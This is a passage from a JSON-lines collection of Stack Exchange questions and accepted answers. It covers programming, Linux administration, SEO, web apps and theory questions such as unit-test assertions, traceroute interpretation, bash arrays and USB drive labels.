why you also want to compare whether the code has changed.Don't use an empty Assert.Fail(), pass in a message.try{    refactoring.Refactor();    messageBox.Verify();} catch (ArgumentException)}Assert.Fail();Given this setup, does it make sense to do the mock.Verify() call? If refactoring.Refactor() throws the exception, the mock.Verify() call will never be evaluated."  } 
{  "id": "_webmaster.1575"  , "question": "Does putting an unrelated site in a domain's subfolder (to avoid buying a new domain name) affect the domain's search engine ranking even if there are no links between them? For example, is it a bad practice will placing a cooking site at programming.com/cooking affect the search engine ranking of programming.com?"  , "title": "Do sites in subfolders affect the ranking of the main domain?"  , "tags": "seo;subdirectory"  , "accepted_answer": "I don't have any data for this, but I personally wouldn't do it.  Search engines are spending a lot of effort trying to understand what your site is about in order to determine whether to return it for various queries.  Diluting the focus of your site could be risky.  In my opinion, the < $20/year is well worth avoiding wasting all of your hard work."  } 
{  "id": "_softwareengineering.70223"  , "question": "Unless it is needed to differentiate between a variable and field with the same name, I never put this. in front of a field or any member access in C#.  I see this as no different to m_ prefix that used to be common in C++, and think if you really need to specify that it's a member, your class is too big.However, there are a number of people in my office that strongly disagree.What is considered current best practises regarding this.?EDIT: To clarify, I never use m_ and only use this. when absolutely necessary."  , "title": "What is the regarded current best practises regarding the this keyword in front of field and methods in c#?"  , "tags": "c#;coding style"  } 
{  "id": "_webapps.42397"  , "question": "If an email is seen in Gmails Sent Mail folder, should it not match the same email in the inbox folder? Can an email appear to be sent in the folder but not sent?"  , "title": "Can someone appear to have sent an email and place it in the Sent Mail folder?"  , "tags": "gmail"  } 
{  "id": "_webapps.76380"  , "question": "Let's say I have a column of values (e.g., first names). There may be some duplicate data (some first names are very common). How can I get the unique values? In SQL I would doSELECT DISTINCT first_name FROM... How can I do it in a Google Spreadsheet? "  , "title": "Get unique values from range of cells"  , "tags": "google spreadsheets"  , "accepted_answer": "In Google Spreadsheets, you can use the UNIQUE() formula to do that.Formula=UNIQUE(A1:A10)ExplainedFor the range as seen in the screenshot, there are 10 entries. The UNIQUE() formula accepts a range and filters out the duplicates and returns that range, see screenshot, leaving only 7 unique entries.ScreenshotReferenceGoogle Spreadsheets Help: UNIQUE()"  } 
{  "id": "_softwareengineering.226111"  , "question": "Can I use MongoDB as the database for providing a paid service?MongoDB is licensed under the AGPL, but the drivers I'm using are MIT licensed. Do I have to buy a commercial license for MongoDB or can I use it as a backend for my app?"  , "title": "Can I use MongoDB for a commercial web based service?"  , "tags": "licensing;mongodb;agpl"  , "accepted_answer": "The use of MongoDB as a backend database may be used for commercial web based services and does not require one to GPL or AGPL the web based service.  Do note that nothing in the GPL or the AGPL prevents anyone from using the library/database/whatever commercially - just that you need to distribute the source code of the work in its entirety to people you have distributed the work to.MongoDB recognizes that applications using their database are a separate work:we promise that your client application which uses the database is a separate workThis means that you don't need to be concerned with the licensing of MongoDB to use it.  They'll even send signed letters asserting the promise to legal departments if there are questions (and they'll do commercial licenses if the signed letter isn't enough for the legal department or you live somewhere where such a promise isn't binding).That said, when a web programmer sees the AGPL, it is indeed right to go wait, what? and look closely at what is being used where and what it implies about your source code licensing.The specifics of why MongoDB is using the AGPL rather than some other, more permissive license stems to commercial companies modifications of MySQL.  For Example, Google Cloud uses MySQL in its backend.  However, there have been some changes to it (disabling some features... and possibly some optimizations).  Since MySQL is under the GPL and has the web services loophole available to it, it doesn't need to submit those changes back to the MySQL community.MongoDB, by selecting the AGPL, forces that if a company was to do what Google has done with MySQL, any changes would be submitted back to the community.This is only an issue if you have modified MongoDB from its distribution.  If there are no changes to MongoDB, you may use it anyhow you like.See also: http://www.mongodb.org/about/licensing/"  } 
{  "id": "_codereview.8371"  , "question": "Here is my solution for Project Euler 35. (Find the number of circular primes below 1,000,000. Circular meaning all rotations of the digits are prime, i.e. 197, 719, 971.) The code takes about 30 minutes to run. Can you help me identify which parts of the algorithm are hogging up computation time?I know there are many solutions out there, I just want to know why this one is soooo slow. I suspect it has something to do with the p.count function call.p is initialized to a list of all primes below 1 million using the Sieve of Eratosthenes. total is initialized to 0.for i in p:    primer = str(i)    circ = 1    for j in range(len(primer)-1):        primer = primer[1:]+primer[:1]        if (p.count(int(primer)) == 1):            circ += 1    if circ == len(primer):        total += 1"  , "title": "Euler 35 - python solution taking too long"  , "tags": "python;optimization;algorithm;project euler;primes"  } 
{  "id": "_unix.47009"  , "question": "how to determine if the server is slow or not with traceroute unix command . Here is the traceroute Out put of a host IP . traceroute 188.165.247.43traceroute to 188.165.247.43 (188.165.247.43), 30 hops max, 60 byte packets 1  iPhone.local (172.20.10.1)  1.493 ms  2.546 ms  3.287 ms 2  * * * 3  10.52.141.50 (10.52.141.50)  782.228 ms  784.069 ms  786.188 ms 4  10.52.141.54 (10.52.141.54)  786.491 ms  786.510 ms  786.927 ms 5  10.52.92.237 (10.52.92.237)  787.157 ms  788.059 ms  788.001 ms 6  aircel-gprs-177.5.251.27.aircel.co.in (27.251.5.177)  787.140 ms  98.452 ms  100.978 ms 7  114.79.219.41 (114.79.219.41)  158.391 ms  161.252 ms  161.610 ms 8  abs-cn-61.194.148.202.aircel.co.in (202.148.194.61)  178.216 ms  175.575 ms  193.356 ms 9  114.79.196.185 (114.79.196.185)  197.859 ms  218.156 ms  220.694 ms10  abs-cn-129.198.148.202.aircel.co.in (202.148.198.129)  221.497 ms  238.732 ms  157.212 ms11  * * *12  * * *13  125.17.180.149 (125.17.180.149)  137.955 ms  157.563 ms  139.677 ms14  AES-Static-137.36.144.59.airtel.in (59.144.36.137)  289.250 ms  310.797 ms  290.745 ms15  * * *16  * * *17  * * *18  * * *19  * * *20  * * *21  * * *22  * * *23  * * *24  * * *25  * * *26  * * *27  * * *28  * * *29  * * *30  * * *is it possible to determine whether remote server is responding good or not by looking at the output ?"  , "title": "How to use traceroute command in unix"  , "tags": "networking;ip;internet;traceroute"  , "accepted_answer": "From your output, you are not able to reach the destination. The * denotes a timeout.traceroute command shows the path to your destination. packets send to will pass through the routers and you receive a response obeying the time to live (TTL) value for each packets. the * denotes a timeout as a response from the intermediate routers that says the packet has expired. This could be due to various reasons. Either the TTL value is not enough, or could be that a firewall or router is denying the trace packets. In which case you cannot always confirm that the destination server is in fact down. Search google on traceroute command, you will get plenty of resources."  } 
{  "id": "_softwareengineering.187543"  , "question": "I am building a RESTful API, and so far, to make sure that my resources work as I need them to, I am using a REST client called Postman. This makes it easy for me to store routes and quickly make requests to them for testing. My current collection of routes in Postman looks like this:The trouble with testing the API is this way is I have to manually change resource IDs. For example, if I want to test the PUT method on my posts resource, I have to first create a resource, find the ID, and then paste it into the PUT URI. This is long!What is considered professional practice for building a RESTful API? Should I be writing unit tests for each route, dynamically creating the post before testing methods like update?"  , "title": "Workflow for building a RESTful API"  , "tags": "testing;api;workflows"  } 
{  "id": "_unix.225500"  , "question": "I am designing n-factor authentication for CentOS 7 using a custom PAM module.  When the user tries to SSH, they will be texted a pin code, and be prompted to enter the pin.  Where should I store the user's cell phone number?  And how should it be retrieved by the PAM module? I am starting by customizing the 2ndfactor.c file shown in this link.  The sample in the link uses a link to a web service, but my module will call a java program to send the text.  Sending is a separate question.  In this question, I want to know where to store the data and how to retrieve it in CentOS 7.  Is it stored in the OS?  In a database?  I don't want to create a security risk by leaving emails and phone numbers exposed somewhere."  , "title": "persisting multi-factor user data for custom pam authentication in CentOS 7"  , "tags": "centos;ssh;authentication;pam"  , "accepted_answer": "Where should I store the user's cell phone number? And how should it be retrieved by the PAM module?This is entirely your design decision.Some PAM modules store information in local files in /etc, like pam_access or the google authenticator module.Other modules may contact a remote server, like the radius authentication module.A scalable solution would probably involve some sort of database or directory service (like LDAP), so that the same information could be used on multiple servers.  A simple solution would probably store the information in local files, and making synchronizing these files across multiple servers a problem for the local administrator."  } 
{  "id": "_webapps.105229"  , "question": "Is there a way I could use hangouts.google.com chat windows in a fullscreen mode? I mean, I use Messenger via messenger.com (full size) or Slack using the website slack.com (also full screen). When I open a Hangouts chat window, it is a very small window in the bottom right corner. I could open it up to a new window, but I would like to keep it inside the tab, not a new window. Is there a way? (I have a big screen, so it is kinda funny looking at the small thing in the corner)"  , "title": "Hangouts full screen chat window"  , "tags": "google chrome;google hangouts"  } 
{  "id": "_unix.192894"  , "question": "I have a long audio file that was created by concatenating many short files. I would like to detect silence between the speech segments (just a threshold is enough for my purposes) and replace them by absolute zeros such that there is no background noise. It is important for me to retain the length of the recording.I know that sox can detect silence at the beginning and end of a file and I can use silence, reverse, pad etc. to remove the samples and fill in the zeros. Is there a way to do it everywhere in the file, not just start+end?UPD: this is probably a pretty complicated way to ask if there are tools for voice activity detection for Linux"  , "title": "How to use sox or ffmpeg to detect silence intervals in a long audio file and replace them by zeros (aka suppress background noise)?"  , "tags": "audio;ffmpeg;sox"  } 
{  "id": "_webapps.45419"  , "question": "I'd like to be able to use Google Spreadsheets to login to my registart and automatically list into rows the current name server and email settings of all my sites, rather than use the heinously clunky and slow admin interface of my registrar (who also has a habit of defaulting them back to their original settings or pointing my domains to their holding page.(*))Fortunately the URLS are in the easy form of /email?domain=mydomain.co.uk&submit=Submit+Query&r=y /manage-dns/?domain=mydomain.co.ukand so on. And I have the necessary wherewithal to extract data like this from a normal webpage. A Google Employee has helpfully posted some code which will pass a username and password in the case of HTTP basic or digest auth via the UrlFetchApp paremeters (docs). And I've tried to apply the method in this StackOverflow posting relating to doing the same with Java and Python.When I look at the traffic via the most excellent Fiddler2 I get the following:#   Result  Protocol    Host    URL Body    Caching Content-Type    Process Comments    Custom  3   302 HTTPS   www.123-reg.co.uk   /public/login   311 post-check=0, pre-check=0; Expires: Tue, 01 Jan 2013 00:00:00 GMT   text/html; charset=utf-8    chrome:7036         4   200 HTTPS   www.123-reg.co.uk   /secure 71,061      text/html; charset=UTF-8    chrome:7036         and I see that this passes username=myusername&password=mypass&login=Log+Me+In&login_submit= and I get some cookies back.Is this beyond the realms of Google Apps Scripting? I have a feeling it could probably be done with CURL but I was learning G-A-S and wondered what it could do.If there's a better suggestion for doing this, be it browser plugin or other, please let me know cos I'm done in after 2 days of Googling.(*)1: Yes, I should get a better registrar. 2: No, no-one is hacking in and changing it."  , "title": "Google Apps Script UrlFetchApp and password protected pages"  , "tags": "google spreadsheets;google drive;google apps script"  } 
{  "id": "_unix.25395"  , "question": "So I've done my share of investigating this problem...I just recently created a CentOS 6 VM on my LinuxMint box using VirtualBox. I left all the recommended values the same upon creation (8GB HDD, 512MB RAM, blah blah blah...). But it DOESN'T connect to the internet! When I try to ping an external network (google.com) it doesn't recognize the host:ping: unknown host google.comand when I try to ping my internal IP of my host box it says that:connect: Network is unreachable(perhaps it can see my host network, just doesn't know a route to it?)I've cleared my iptables, used every single given network adapter VirtualBox offers, and used both NAT and Bridged Adapter modes. I also reaped Google of all that I could mentally find. When I ifconfig it only shows the lo interface (loopback), unless I manually enable the eth0 interface via the ifcfg-eth0 file (set ONBOOT=yes) and restart. But when I enable the eth0 interface, it doesn't show an IP; just the MAC and IPv6 one. I don't think its the host's internet or link to the Guest OS at all... I have a WinXP VM set up and it can access the internet.Perhaps the answer is more obvious than I think?"  , "title": "CentOS doesn't know what the internet is"  , "tags": "linux;networking;centos;virtualbox;virtual machine"  , "accepted_answer": "Try dhclient -v eth0 - this forces the interface to get an IP via DHCP and this may not be happening for some reason.Once you have an IP, try ping 8.8.8.8 - if this works but ping www.google.com doesn't, you have a DNS issue (check your resolv.conf)."  } 
{  "id": "_codereview.146048"  , "question": "I have question regarding online PCA implemented in the paper. I am interested in the Algorithm 2. I am not certain if there is a bug in my code can someone confirm if my code is correct?  The algorithm is as follows:  input: \\$X\\$,\\$\\Delta\\$  \\$U\\leftarrow\\$ all zero matrix (dimensions are not given in the paper , 0 rows and 0 columns)  \\$B\\leftarrow\\$ a covariance sketchfor \\$x_t\\in X\\$ do  Add \\$x_t\\$ to sketch \\$B\\$while \\$||(I-U U^{\\top})B||^2 \\geq \\Delta\\$  Add the top left singular vector of \\$(I-UU^{\\top})B\\$ to \\$U\\$yield\\$\\;y_t=U^{\\top}x_t\\$ (I think while loop ends before yielding, not mentioned in the paper)end forFollowing is the R code I wrote:PCA<-function(X,delta){    n<-nrow(X)    d<-ncol(X)    B<-cov(X)    Nrow<-nrow(B)    Ncol<-ncol(B)    U<-matrix(0,Nrow,Ncol)    Y<-matrix(0,n,d)    idx<-0    for(i in 1:n){      inc<-X[i,]        B<-cbind(B,inc)        Id<-diag(Nrow)        while(norm((Id-(U%*%t(U)))%*%B,2)^2 >= delta){           idx=idx+1            test<-(Id-(U%*%t(U)))%*%B            topleft<-as.matrix(eigen(test%*%t(test))$vectors[,1])            add<-cbind(U,topleft)            U<-add[,which(!apply(add,2,FUN=function(x){all(x==0)}))]        }        y<-matrix(0,1,d)        if(idx >0){y[1,1:idx]<-t(U)%*%X[i,]}        Y[i,]<-y    }    Y<-Y[,which(!apply(add,2,FUN=function(x){all(x==0)}))]    return(Y)}Then to test what I have done make sense I used Fisher iris data, and I got:log.ir <- log(iris[, 1:4])ir.species <- iris[, 5]ir.pca <- prcomp(log.ir)ir.pca$rotation #this is the built in r function equivalent output, which is very different then what I get in my understanding I get (ir.pca$x) from the online PCA implementation.OPCA<-PCA(as.matrix(log.ir),300)#If you change the value 300 to 0.34 say then you will have X1,X2,X3 and X4rotationOPCA<-data.frame(t(t(OPCA) %*% as.matrix(log.ir) %*% solve(cov(log.ir))))"  , "title": "Online Principal Component Analysis with spectral bounds"  , "tags": "algorithm;matrix;r"  } 
{  "id": "_unix.311780"  , "question": "I have built a vpn over ubuntu using libnet filter in conjunction with iptables rules in order to alter packets in the queue over eth0 (to the out world) and eth1 (to the inner lan). I had to use MASQURADE for source nating and mangle for packet alteration. Now i have noticed that the side which initiates the (ping request or tcp) executes the MASQURADE rule just right (this is correct fir both sides). But the reply packets and tcp ack does not apply MASQURADE rule and the packets exit with the internal lan ip (192.168.x.x). Also this is happening at both sides. Q1. What must i do to control these reply packets. Q2. As the reply andtcp  ack packets arrive to the other side on the internet with the lan source ip. Is it allowed over the internet that the source ip could be a private ip (192.168.x.x)?N.b. All of the above is applied also over the source port in which i do changes but does not respond in reply or tcp ack. While changing payloads or dst. Ip is applied correct. Thanks. Atman"  , "title": "Dose mangle table prevent masquerade in reply packets"  , "tags": "shell;ubuntu;terminal;iptables;packet"  } 
{  "id": "_cstheory.33240"  , "question": "We are not able to settle the (non) existence of a polynomial kernel for a parametrized combinatorial NP-complete problem (we also tried to apply some recent lower bound techniques to prove the non existence of a polynomial kernel under reasonable complexity-theoretic assumptions). So we are searching for major open problems that could be used in a parameter preserving reduction to underline its hardness.What are major parametrized NP-complete problems for which it is unknown if they have a polynomial kernel ? Is there a survey/technical report on the subject?An example could be ODD CYCLE TRANSVERSAL (OCT), the task of making an undirected graph bipartite by deleting as few vertices as possible, parametrized by the number of allowed vertex deletions (though Stefan Kratsch and Magnus Wahlstrm recently showed a randomized polynomial kernel for OCT)"  , "title": "Major open problems on polynomial kernel (non) existence"  , "tags": "reference request;big list;parameterized complexity"  , "accepted_answer": "Currently, I would say the 3 major open cases are:Directed feedback vertex set (make a given digraph acyclic by deleting at most k vertices) parameterized by the size of the solutionPlanar Vertex Deletion (make a graph planar by deleting at most k vertices)Edge Multiway cut (given an undirected graph and a list of terminals, delete at most k edges to ensure all the terminals end up in a different connected component)For all of these, the relevant parameter is the size of the solution. You can have a look at the open problem list from the 2013 Workshop on Kernelization ( http://worker2013.mimuw.edu.pl/slides/worker-opl.pdf ) for others. Pointers to other (but older) open problem lists in parameterized complexity can be found here: http://fpt.wikidot.com/open-problems ."  } 
{  "id": "_cs.16754"  , "question": "Suppose I have an undirected graph which is stored as an adjacency matrix. The graph contains a single cycle; all other vertices are isolated.How can I efficiently find the length of the cycle?The best I've been able to come up with:Starting at row 0 of the matrix, traverse through rows until an initial 1 is found, say at row startVertex and column k. Increment a counter.Search column k for its other 1, say at row j. Increment the counter.Search row j for its other 1 value. Increment the counter.Repeat steps 2 and 3 until a row or column which matches startVertex is found.The complexity of this algorithm is $\\mathcal{O}(V^2)$.Is there a better algorithm out there?"  , "title": "Find Cycle Length"  , "tags": "algorithms;graphs"  } 
{  "id": "_unix.259943"  , "question": "I have an USB flash drive that I formerly used as installation medium for Linux Fedora.The stick still has the Fedora Live USB installation files on it. When I insert it into my olde laptoppe, it appears as disk named Fedora-Live-KDE-x86_64-22-3 in KDE dolphin. Fair enough.So, I destroy all partitions on it using fdisk, create new partition, set up an ext4 filesystem on said partition. I insert the flash drive. I appears as Fedora-Live-KDE-x86_64-22-3 in KDE dolphin. UNDEAD FLASH DRIVE TIME!Where does that name come from? Feels like it does not come from the USB flash drive, but factoid (3) below indicates that it actually does. Where is that name coming from and how do I change it?Here is some research on where the name is coming from, the conclusion being that it apparently comes from the ISO-9660 data left on the disk. But how is this sane behaviour by Linux? e2label /dev/sdd1 shows nothing: the filesystem has no label blkid /dev/sdd1 shows/dev/sdd1: UUID=10aab422-4212-45c8-9f99-35e5eb719154 TYPE=ext4 PARTUUID=5c4a815c-01 Using the flash drive on another machine also results in the name Fedora-Live-KDE-x86_64-22-3 being displayed. One can dump the labels (whatever those are) by looking at the filesystem under /dev: ls -l /dev/disk/by-label/This shows the symlink Fedora-Live-KDE-x86_64-22-3 -> ../../sdbNote that the symlink points to the device, not the partition. So this is not a filesystem label, but something like a disk label. The original filesystem label obtainable with e2label being empty, we set it and then see what's up:# e2label /dev/sdb1 Scooby Doo# ls -l /dev/disk/by-label/lrwxrwxrwx. 1 root root  9 Feb  4 23:43 Fedora-Live-KDE-x86_64-22-3 -> ../../sdblrwxrwxrwx. 1 root root 10 Feb  4 23:43 Scooby\\x20Doo -> ../../sdb1So now both the disk and the filesystem/partition have a label. However, after removal/reinsertion, dolphin (or rather, Linux) now settles on the Scooby Doo name of the filesystem. And why not! We can then erase the label again using e2label /dev/sdb1  ... and then the name is back, but only partially: Fedora-Live-KDE- (why partially? because it's read from 0x9000 onwards, whereas the full label is at 0x8000, see below) Also tried to see what parted does. It seems mightily confused: It thinks the 8GiB stick with 512-byte blocks is actually a 32GiB stick with 2048-byte blocks and detects a Apple partition, while fdisk is absolutely happy with finding an 8GiB Linux partition. Curioser and curioser.(parted) printWarning: The driver descriptor says the physical block size is 2048bytes, but Linux says it is 512 bytes.Ignore/Cancel? iModel: Generic USB Flash Disk (scsi)Disk /dev/sdb: 32.2GBSector size (logical/physical): 2048B/512BPartition Table: macDisk Flags:Number  Start   End     Size    File system  Name   Flags 1      2048B   10.2kB  8192B                Apple 2      88.1kB  5278kB  5190kB               EFI 3      5319kB  26.1MB  20.8MB               EFIIt's probably not TOTALLY confused because on the stick we find this:  Additional weirdness: The reformatted USB stick seems to be un-writeable but traversable for a non-root user. Writing as root works though. But that's just a side remark. Getting a diskdump with okteta shows the disk name string at position just past 0x8000, i.e. in block 64 (blocks being 512-Byte-sized):This evidently stems from the LiveCD structure. Looking further shows the name again likely in UTF-16 format just past 0x9000, with the version suffix dropped probably because the field has constant size: Time to POKE and see what happens. We modify the string at the 0x8000 mark:We also modify the string at the 0x9000 mark:Then write the blocks back to the stick (because we have been modifiying a file obtained using dd), sync, sync and eject. Then reinsert the stick. Linux settles in this case on the string at 0x9000.[root@elf ~]# ls -l /dev/disk/by-label/total 0lrwxrwxrwx. 1 root root 10 Feb  9 22:09 DellUtility -> ../../sda1lrwxrwxrwx. 1 root root 10 Feb  9 23:20 MOTHRA-Dead-KDE- -> ../../sdb1lrwxrwxrwx. 1 root root 10 Feb  9 22:09 OS -> ../../sda2lrwxrwxrwx. 1 root root 10 Feb  9 22:09 RECOVERY -> ../../sda4Dolphin shows the content of /dev/disk/by-label: So, we know where the string comes from. It does not seem useful to be able to change it as it comes from the CD-ROM structure, whereas we have put a standard partitioning scheme onto the USB disk. Why does Linux mash these two two structures?"  , "title": "USB flash drive formatted as Linux Live CD keeps the CD-ROM name after re-partitioning"  , "tags": "linux;partition;usb;live usb;iso"  } 
{  "id": "_softwareengineering.112794"  , "question": "According to Martin Fowler classical article, there are two types of verification: state and behaviour verification. At the same time I often see people telling about implementation vs. behaviour verification. So I guess we speak about pretty same stuff here and state in the first classification is behaviour in the second; behaviour in the first equals to implementation in the second.What I don't like is that behaviour word appears in both namings but on contrary sides which causes a lot of confusion.Which naming do you prefer?"  , "title": "Verification naming confusion"  , "tags": "unit testing;tdd"  , "accepted_answer": "These two approaches use different meanings of the word behavior. The first one (behavior vs. state) is based on a design mindset that views programs as a collection of states and transitions between those states. In such a model, state is a static thing; if you had a computer that you could freeze or single-step (like those back in the 1970's), then you could stop it at any time and inspect its state (the values currently stored in its register and memory), but to observe its behavior, you need it to run. It is quite common to visualize the dynamic aspects of a (part of a) program as a diagram where boxes represent states, and arrows represent transitions between those states.The second meaning offsets functional characteristics of the program (what does it do?) against technical details (how did they make it do what it does?). This separation is fairly common; many methodologies split the design phase into functional and technical design parts. In this mindset, the behavior of a program is what it functionally and observably does, from a user's perspective (e.g., when I click this button here, a bunch of dummy text appears above it); the implementation, by contrast, is how it's done (e.g., there's this HTML form with a submit button, and the server-side script reads the POST request fired by that script, calls a web service to generate some lorem ipsum, and inserts it into the form which then gets sent back in the response).The first meaning is interesting, because deciding what you want to model as state (data) and what you want to follow implicitly through behavior has a huge impact on any software project. Making your data too rigid makes you inflexible to future change; putting too much information in your logic and too little in your data makes for an unmaintainable mess of complex logic.The second one is important, because it allows you to specify requirements without making any technical decisions (yet). If the functional requirements are unambiguous and clear, you can then verify that the technical design meets the functional requirements, and later, during acceptance testing, you can also verify that the actual product meets the functional requirements (which is far more important than meeting the technical requirements: who cares if you haven't used XML, as long as the thing does what it's supposed to do)."  } 
{  "id": "_webmaster.3337"  , "question": "I have a website that is currently hosted in Japan and has been for a number of years. Its well established in the search engines in both Yahoo Japan and Google Japan.For numerous reasons its become necessary to move our site to a new host, and our systems administrator has asked me if its ok to use a none Japanese Host in a country close by, preferably the US.(Not exactly close but closer than some).I am trying to find out if moving the site away from its homeland will have a significant effect on its search engine rankings in Japan. I've heard from somwhere that it will negatively effect the site, but I was hoping someone could provide some evidence, or ideally a case study for this?Its a tall order, but maybe someone can help out there?Thanks!"  , "title": "Japanese Hosting And Search Engine Rankings"  , "tags": "seo;web hosting;serps"  } 
{  "id": "_unix.180753"  , "question": "I'm looking for a file system for an external HDD which will be basically used for backups. It will only be used with Linux machines, so I don't mind having a Linux-specific file system. I may consider encrypting the drive, but it is not necessary since I don't mind encrypting sensitive files and directories manually.I did some research on file systems like ext4, Btrfs and XFS and even found a benchmark, but I couldn't come to a conclusion.Is there a significant difference between file systems supported by Linux which I should consider in this setup?"  , "title": "Linux File System for an External HDD"  , "tags": "linux;filesystems"  , "accepted_answer": "ZFS is an ideal candidate in this case because of robust checksums, snapshots, the ability to export and detach the pool, and use ZFS send and receive for high efficiency differential backups.  One important gotcha with external usb drives is to make certain that your pool isn't going to be marked as faulted if your drive spins down for power saving. There are workarounds for this such as disabling power saving on the device, or export the pool after your backups complete so that it can safely sleep.Also, lz4 is great for compression and is available in later pool versions."  } 
{  "id": "_vi.4830"  , "question": "Upon opening a new file in an active buffer in the current window, the message line at the very bottom of the screen shows %f [New File].How does Vim know that the buffer contains a new file, rather than an existing file? I want to detect this in order to test whether quickfix has correctly parsed a file name from an error message. Since getqflist() gives 'bufno' instead of 'filename', I can't use filereadable() for this.I've also tried checking getbufvar() but until you actually try to jump to the error with :cc, any buffers created by quickfix after parsing an error message for a file name are unlisted and getbufvar() returns an empty dictionary. I want to determine whether the buffer will contain a new or existing file and intervene before jumping to the error and opening the file. "  , "title": "How can I detect whether an unlisted buffer contains a new file or an existing file?"  , "tags": "vimscript;buffers"  } 
{  "id": "_webmaster.18439"  , "question": "I have a client that wants to make their products firmware files available for download on their website. The firmware files have a custom extension: .bi2. The client wants the files to be downloaded directly and not placed in a container (like a .zip file).Is there an IIS setting that will instruct the browser to download the .bi2 file instead of trying to open it as a webpage?Thanks in advance for your help!"  , "title": "Download Link for Custom File Type"  , "tags": "iis7;webserver;download;filenames;iis6"  , "accepted_answer": "In order for IIS to allow access to the file at all, it needs to be assigned a MIME-type. Use application/octet-stream and the browser will almost certainly treat it as a file it can't handle itself.(You could also experiment with application/x-whatever-you-want)"  } 
{  "id": "_unix.261087"  , "question": "My long lasting previous installation somehow tied up VLC and gtk file dialog. I didn't even do anything special, except installing VLC.After update to VLC 2.2.1 the file dialog was replaced to Qt and I don't see any obvious way how to get back with gtk. When I mark vlc-qt for deinstallation, entire vlc is marked for removal as well.openSUSE 13.2"  , "title": "How to setup VLC with gtk file dialog?"  , "tags": "gtk;vlc;qt"  , "accepted_answer": "VLC media player has been using Qt interface for quite long time. VLC however, has an option to override window style, which will also change the file dialog as well.In VLC media player, do the following steps:Go to Tools > Preferences (or press Ctrl+P)In the first tab, which titled Interface Settings, look for the last option under Look and feel. There is an option called Force window style: and probably System's default is being selected.Click on the drop-down menu and change from System's default to GTK+.Finally, click on Save button and changes will be applied.Then, go to Media > Open File... (or press Ctrl+O) to confirm that the file dialog has been applied with GTK+ window style. That's all.Tested working for VLC 2.2.1 in Debian 8.2 Xfce (Xfce 4.10).Force style for Qt5 in Debian/UbuntuInstall libqt5libqgtk2 package from the repository, which is available for the following releases of Debian and Ubuntu. No further configuration is needed.Debian Testing (stretch) and newerUbuntu 15.10 (wily) and newerThis has been tested working for VLC 2.2.2 in Xubuntu 16.04 (Xfce 4.12). I didn't test in Debian, but reportedly works according to this post on Ask Ubuntu.Force style for Qt5 in other distributionsThe package above is not available in repositories of other distributions, including openSUSE, according to this search result from software.opensuse.org.According to this Arch Wiki setting QT_STYLE_OVERRIDE=GTK+ will force specific style to Qt5 applications. This may be added in one of the following locations:~/.profile (reportedly works in Linux Mint, suggested in this post on Unix.SE)~/.bashrc (suggested in this post on Ask Ubuntu)~/.xsession or ~/.xinitrc (suggested in this post on FreeBSD forum)~/.xsessionrc (suggested for OpenBox in this post on CrunchBang Linux forum)Without installing the package, I have tried adding export QT_STYLE_OVERRIDE=GTK+ to each of above configuration files one at a time, except for the last one. However, none of these worked for VLC in Xubuntu 16.04. So I can't verify if the environment variable really works or not."  } 
{  "id": "_webmaster.52650"  , "question": "Example:For a PC game review website would it be bad for SEO to have one Amazon affiliate link in addition to the game review? Since these links would be coded in the form of <iframe> would adding a rel=nofollow be of much benefit? Lets say they were not iframe links and regular <a href=>link</a>.A respected SEO equated affiliate links to poison for rankings and recommended they be pulled to a separate domain or buried deeper in the site away from root. So is it better to just remove all affiliate links and not risk any penalty from Google?I have looked around and not really been able to find a direct answer to this from Google. Here is some information I did find:http://moz.com/blog/getting-seo-value-from-your-affiliate-links http://www.nichepursuits.com/how-to-get-a-google-penalty-using-affiliate-links-and-how-to-recover"  , "title": "Are Amazon affiliate links bad for SEO?"  , "tags": "seo;affiliate"  , "accepted_answer": "bybe, that's simply not true at all.Affiliate DO links blackball your site. I could give a million example links pointing to case studies from ePN's forum, Amazon affiliates, PHPbay, Warrior Forum and more - it's just something that can't be ignored. You will NOT get a penalty for cloaking links (cloaking = renaming the links to adapt to your domain name). Cloaking is completely legit. Read any TOS. Look at any affiliate site out there, big or small, there's hardly a single one not cloaking links. Using methods to force people into launching an affiliate link is a different story.Google can punish whomever they want. We saw this with Panda & Penguin -- the number of innocent sites, especially those of affiliate marketers, was staggering. Nobody is going to sue one of the biggest corporations in the world for something they're doing on their own search engine, and win. A LOT of businesses went under after Panda. Many of them did nothing wrong besides being an affiliate marketer, which Google has a vendetta against.A completely legal way to remove your affiliate links from the equation is to separate them and put them on a NOINDEXed page. Unfortunately this going to increase the number of clicks that a customer goes through to get to your affiliate links. So, you'd have a site with nothing indexable by search engines but pure content, with the affiliate stuff on NOINDEX pages which are not being mixed into part of your site's ranking. Unfortunately, this is the sort of thing you have to do if you want to continue being an affiliate marketer on a search engine that is doing everything possible to make sure you don't succeed."  } 
{  "id": "_unix.372631"  , "question": "I started to drop an InnoDB table in my testdatabaseecho DROP DATABASE test;|mysql -u root -pwhich is really slow, which I didnt know at the start, so I stopped the command with ^CNow my mysql database is in a broken state, where it sais this in /var/log/syslog:InnoDB: Warning: MySQL is trying to drop database `test`.``InnoDB: though there are still open handles to table `test`.`testtable`.InnoDB: Warning: MySQL is trying to drop database `test`.``InnoDB: though there are still open handles to table `test`.`testtable`....When I try to restart mysql, it fails.Finally, I had to reboot the server to solve this.How could I have solved this without reboot?"  , "title": "InnoDB: Warning: MySQL is trying to drop database though there are still open handles to table"  , "tags": "mysql;innodb"  } 
{  "id": "_unix.288886"  , "question": "Im trying double loop using array values like array names for looparray1=name1 name2name1=one twoname2=red bluefor name in $array1do   for value in $name  do    echo $name - $value  donedoneI need to use 'name' to '$name' for use in 2nd loop, but this don't work for me.How could I use value of array1 like the name of array inside 2nd loop?"  , "title": "Bash array values like variables inside loop"  , "tags": "bash;array;loop device"  , "accepted_answer": "That's not how you define arrays in bash.a=foo bardefines a string/scalar variable. And using it as $a (unquoted) performs the split+glob operator which only makes sense for strings representing a $IFS separated list of file patterns.In bash, arrays are defined as:a=(foo bar)So here, you'd want:array1=(name1 name2)name1=(one two)name2=(red blue)for name in ${array1[@]}do  typeset -n nameref=$name  for value in ${nameref[@]}  do    printf '%s\\n' $name - $value  donedonetypeset -n is a relatively recent addition to bash and declares a nameref, that is a variable that contains the name of another variable and when expanded actually refers to the named variable."  } 
{  "id": "_webapps.100651"  , "question": "I live in the Bahamas and cannot add my cell phone number as a recovery number for my account. My cell phone number is with a new cellular provider that has just emerged here and many people are having the same issue.I get an error saying invalid number.I am using a sim card from a new cellular company in the Bahamas NewCo2015 / Aliv. "  , "title": "Can't add my phone number as recovery number"  , "tags": "gmail;google account;account management"  } 
